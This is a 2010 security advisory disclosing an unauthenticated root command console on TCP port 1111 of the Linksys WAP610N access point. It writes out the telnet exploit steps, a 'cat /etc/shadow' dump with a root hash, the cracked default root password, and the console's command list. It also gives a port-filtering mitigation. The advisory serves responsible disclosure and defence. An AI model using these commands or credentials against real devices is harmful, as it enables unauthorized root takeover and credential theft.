Secure Network - Security Research Advisory
Vuln name: Linksys WAP610N Unauthenticated Access With Root Privileges Systems affected: WAP610N (Firmware Version: 1.0.01) Systems not affected: -- Severity: High Local/Remote: Remote Vendor URL: http://www.linksysbycisco.com Author(s): Matteo Ignaccolo email@example.com Vendor disclosure: 14/06/2010 Vendor acknowledged: 14/06/2010 Vendor bugfix: 14/12/2010 (reply to our request for update) Vendor patch release: ?? Public disclosure: 10/02/2010 Advisory number: SN-2010-08 Advisory URL: http://www.securenetwork.it/ricerca/advisory/download/SN-2010-08.txt
Linksys WAP610N is a SOHO wireless access point supporting 802.11n draft.
Unauthenticated remote textual administration console has been found that allow an attacker to run system command as root user.
telnet <access-point IP> 1111
Command> system id Output> uid=0(root) gid=0(root)
Coomand> system cat /etc/shadow Ouptup> root:$1$ZAwqf2dI$ZukbihyQtUghNDsLAQaP31:10933:0:99999:7::: Ouptup> bin::10933:0:99999:7::: Ouptup> daemon::10933:0:99999:7::: Ouptup> adm::10933:0:99999:7::: Ouptup> lp::10933:0:99999:7::: Ouptup> sync::10933:0:99999:7::: Ouptup> shutdown::10933:0:99999:7::: Ouptup> halt::10933:0:99999:7::: Ouptup> uucp::10933
root password is "wlan" (cracked with MDcrack http://mdcrack.openwall.net)
List of console's command:
HYP_WRITEBUFFER ITEM16 ITEM32 ITEM8 ITEMLIST MACCALIBRATE MACVARGET MACVARSET MEM_READ MEM_WRITE MTAPI PITEMLIST PRINT_LEVEL PROM_READ PROM_WRITE READ_FILE REBOOT RECONF RG_CONF_GET RG_CONF_SET RG_SHELL SETMIB SHELL STR_READ STR_WRITE SYSTEM TEST32 TFTP_GET TFTP_PUT VER
Attackers may exploit these issues through a common telnet client as explained above.
No patch is available.
Put access points on separate wired network and filter network traffic to/from 1111 tcp port.
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